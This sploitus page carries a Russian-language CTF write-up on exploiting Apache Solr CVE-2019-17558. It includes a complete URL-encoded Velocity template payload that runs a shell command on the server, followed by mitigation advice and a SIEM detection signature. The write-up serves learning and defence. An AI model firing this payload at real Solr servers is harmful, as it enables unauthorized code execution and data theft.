Sploitus

Exploit for cve-2019-17558-apache-solr-rce

kitploit · 2026-08-25

Exploit Code

MARKDOWN109 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ROGERZEFERINO-CVE-2019-17558-APACHE-SOLR-RCE
# Apache Solr RCE (CVE-2019-17558) - CTF Write-up

> Практическая эксплуатация уязвимости Velocity Template Injection в Apache Solr: переход от сбоя автоматизированного инструмента (Metasploit) к успешной ручной эксплуатации.

Этот write-up документирует полный ход рассуждений в ходе упражнения, с акцентом на диагностику сбоя инструмента и переход к ручной эксплуатации.

## Сценарий

Элемент| Описание  
---|---  
Цель| Сервер Linux, запустивший Apache Solr на порту 8983  
Задача| Прочитать содержимое чувствительного файла (`/home/favorite_book.txt`)  
Уязвимость| CVE-2019-17558 (RCE через Velocity Response Writer)  
  
## 1\. Разведка

Начальный этап состоял в идентификации активных сервисов на целевом хосте.

root@kitploit:~
    
    
    nmap -sV -p- <TARGET_IP>
    

Результаты.

  * Порт 8983/tcp открыт.
  * Сервис идентифицирован как Apache Solr.
  * Core, идентифицированный через веб-панель, — `novacollection`.



## 2\. Анализ уязвимости

При доступе к административной панели было подтверждено, что версия Solr уязвима к Velocity Template Injection.

Ошибка возникает, когда атакующему удаётся изменить конфигурацию `params.resource.loader.enabled` на `true`, что позволяет использовать пользовательские шаблоны Velocity и, начиная с этого момента, выполнять произвольный Java-код на сервере.

## 3\. Автоматизированная эксплуатация (Metasploit)

Изначально использовался модуль `exploit/multi/http/solr_velocity_rce`.

Эксплоит успешно изменил конфигурацию Solr.

root@kitploit:~
    
    
    [+] params.resource.loader.enabled is true for core 'novacollection'
    

Однако финальная стадия внедрения полезной нагрузки завершилась ошибкой выполнения Ruby.

root@kitploit:~
    
    
    NoMethodError: undefined method 'body' for nil:NilClass
    

Это указывало на то, что среда была уязвимой и уже подготовленной, но инструмент не смог обработать ответ сервера для завершения атаки. Цель не была защищена — требовался лишь корректировка метода доставки модуля.

## 4\. Ручная эксплуатация

Поскольку Velocity Writer уже был включён Metasploit'ом, инъекция была выполнена вручную через HTTP GET-запрос, обойдя ошибку скрипта. Шаблон Velocity был составлен для инстанцирования `java.lang.Runtime` и выполнения команды чтения целевого файла.

root@kitploit:~
    
    
    http://<TARGET_IP>:8983/solr/novacollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat+/home/favorite_book.txt%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
    

Команда, фактически выполненная на сервере.

root@kitploit:~
    
    
    cat /home/favorite_book.txt
    

## 5\. Результат

Инъекция прошла успешно, и содержимое файла было возвращено непосредственно в теле HTTP-ответа, отображено в браузере, что позволило получить флаг.

## Выводы

  * Ограниченность инструментов. Сканеры и автоматизированные эксплоиты могут давать сбои из-за особенностей окружения или ошибок в самом модуле.
  * Базовые знания. Понимание работы CVE-2019-17558 позволило перейти от сбоя инструмента к успешной ручной атаке.
  * Настойчивость. Ошибка `NoMethodError` не означала защищённую цель — лишь то, что метод доставки требовал корректировки.



## Устранение

  * Обновить Apache Solr до исправленной версии (8.4 или новее).
  * Убедиться, что `params.resource.loader.enabled` остаётся отключённым.
  * Ограничить доступ к порту 8983 только доверенными сетями, никогда не exposing Solr напрямую в интернет.
  * Отслеживать запросы к endpoint `select` с параметрами `wt=velocity` — они полезны как сигнатура обнаружения в SIEM.



## Ссылки

  * CVE-2019-17558 (NVD и официальная документация Apache Solr).



## Дисклеймер

Этот репозиторий создан в образовательных целях и для документирования обучения в контролируемой среде (CTF). Не используйте эти техники против систем без явного разрешения.